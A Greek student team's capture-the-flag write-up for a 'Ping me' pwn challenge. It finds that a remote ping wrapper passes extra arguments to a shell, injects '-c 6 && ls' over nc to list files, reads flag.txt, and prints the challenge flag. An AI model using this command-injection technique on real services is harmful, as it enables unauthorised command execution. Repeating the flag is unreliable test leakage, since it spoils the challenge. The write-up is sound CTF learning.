

Write-Up: Ping me (Pwn)

Ομάδα: mousiko_gymsasio_agrinou_lt_1 (Μουσικό Γυμνάσιο
Αγρινίου - Λ.Τ.)
Μαθητές/Μαθήτριες Πέτρος Παπαθανασίου

Επισκόπηση Δοκιμασίας

Η δοκιμασία μας δίνει ένα binary αρχείο που ονομάζεται ring-me, το οποίο μπορούμε να το ανοίξουμε με έναν editor.

Επίλυση

Αρχική ανάλυση

Στην συγκεκριμένη περίπτωση χρησιμοποιώ το VSCode και το ανοίγω με τον ενσωματωμένο text editor. Με αυτόν τον τρόπο καταφέρνω να δω ένα κομμάτι του κώδικα.

```
^((25[0-5]|2[0-4][0-9]|[0-1]?[0-9]?[0-9]?)\.((25[0-5]|2[0-4][0-9]|[0-1]?[0-9]?[0-9]?)\.((25[0-5]|2[0-4][0-9]|[0-1]?[0-9]?[0-9]?)\.((25[0-5]|2[0-4][0-9]|[0-1]?[0-9]?[0-9]?)$) Could not compile regex
Enter IP Address: Error reading input. Invalid IP address format. Exiting. ping -c 4 %s Executing command: %s
Ping successful. Do you want anything else to add? Enter additional arguments: ping -c 4 %s %s
Command successful.
Command failed. Ping failed. @. 000t ,
```

Φαίνεται ότι στο αρχείο ζητείται ένα input για να κάνει ping, αλλά με ένα συγκεκριμένο format. Στο δεύτερο input μου ζητάει να δώσω επιπλέον παραμέτρους για το αρχικό ping.

```
L$ nc challenges.pmdk.gr 44638
Enter IP Address: 127.0.0.1
Executing command: ping -c 4 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.021 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.037 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.039 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.040 ms

— 127.0.0.1 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3086ms
rtt min/avg/max/mdev = 0.021/0.034/0.040/0.007 ms
Ping successful.
Do you want anything else to add? Enter additional arguments -c 6
Executing command: ping -c 4 127.0.0.1 -c 6
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.029 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.041 ms
64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.039 ms
64 bytes from 127.0.0.1: icmp_seq=6 ttl=64 time=0.025 ms

— 127.0.0.1 ping statistics —
6 packets transmitted, 6 received, 0% packet loss, time 5143ms
rtt min/avg/max/mdev = 0.016/0.029/0.041/0.008 ms

Command successful.
```

Σε αυτό το σημείο σκέφτηκα ότι μπορεί να χρειάζεται να χρησιμοποιήσω την τεχνική input injection.

Εκμετάλλευση ευπάθειας

Με την ένωση εντολών κατάφερα να περάσω και δεύτερη εντολή. Στην αρχή έτρεξα την ls για να δω αν δουλεύει και τι θα επιστρέψει αν δουλέψει.

```
nc challenges.pmdk.gr 44638
Enter IP Address: 127.0.0.1
Executing command: ping -c 4 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.040 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.030 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.030 ms

— 127.0.0.1 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3089ms
rtt min/avg/max/mdev = 0.016/0.029/0.040/0.008 ms
Ping successful.
Do you want anything else to add? Enter additional arguments: -c 6 && ls
Executing command: ping -c 4 127.0.0.1 -c 6 && ls
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.039 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=6 ttl=64 time=0.028 ms

— 127.0.0.1 ping statistics —
6 packets transmitted, 6 received, 0% packet loss, time 5143ms
rtt min/avg/max/mdev = 0.016/0.027/0.039/0.006 ms
flag.txt ping-me start.sh

Command successful.
```

Είδα ότι έτρεξα και μου έβγαλε το flag.txt. Με την εντολή cat πήρα την σημαία της δοκιμασίας.

Σημαία

Η σημαία που βρέθηκε:

```
FLAG{1_d4r3_y0u_t0_p1ng_th3_un1v3rs3_4nd_c0nv1nc3_1t_t0_r3ply}
```